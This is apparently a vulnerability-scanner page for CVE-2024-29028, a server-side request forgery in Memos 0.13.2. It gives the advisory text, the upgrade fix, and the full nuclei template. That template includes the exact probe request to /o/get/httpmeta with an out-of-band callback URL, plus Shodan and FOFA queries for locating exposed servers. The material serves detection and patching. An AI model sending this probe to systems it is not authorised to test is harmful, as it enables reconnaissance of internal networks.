Memos 0.13.2 - Server-Side Request Forgery

mediumseverity

5.3CVSS score

1%likelihood of exploitation, next 30 days

65%of all CVEs are less likely

Readycheck to confirm it

SSRF vulnerabilities exist in the memos API service `/o/get/httpmeta` that allow unauthenticated and authenticated users to enumerate and read from the internal network. In addition, one SSRF vulnerability leads to a reflected XSS vulnerability, which may allow an attacker complete control over the administrator account.

Impact

Attackers can make the server perform requests to arbitrary internal or external resources, potentially accessing sensitive data or internal services.

Fix

Update Memos to version 0.13.3 or later.

How to confirm it

Send: GET {{BaseURL}}/o/get/httpmeta?url=https://{{interactsh-url}}
Positive when: status_code == 200 and contains(interactsh_protocol, "dns") and contains_any(tolower(body), "memos", "title\":")

Run it with nuclei: nuclei -id CVE-2024-29028 -u <target>

The full check

id: CVE-2024-29028

info:
  name: Memos 0.13.2 - Server-Side Request Forgery
  author: ritikchaddha
  severity: medium
  description: |
    SSRF vulnerabilities exist in the memos API service `/o/get/httpmeta` that allow unauthenticated and authenticated users to enumerate and read from the internal network. In addition, one SSRF vulnerability leads to a reflected XSS vulnerability, which may allow an attacker complete control over the administrator account.
  impact: |
    Attackers can make the server perform requests to arbitrary internal or external resources, potentially accessing sensitive data or internal services.
  remediation: |
    Update Memos to version 0.13.3 or later.
  reference:
    - https://securitylab.github.com/advisories/GHSL-2023-154_GHSL-2023-156_memos/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-29028
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cwe-id: CWE-918
    cve-id: CVE-2024-29028
    epss-score: 0.01049
    epss-percentile: 0.64532
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"Memos"
    fofa-query: title="Memos"
  tags: cve,cve2024,ssrf,memos,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/o/get/httpmeta?url=https://{{interactsh-url}}"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(interactsh_protocol, "dns")'
          - 'contains_any(tolower(body), "memos", "title\":")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from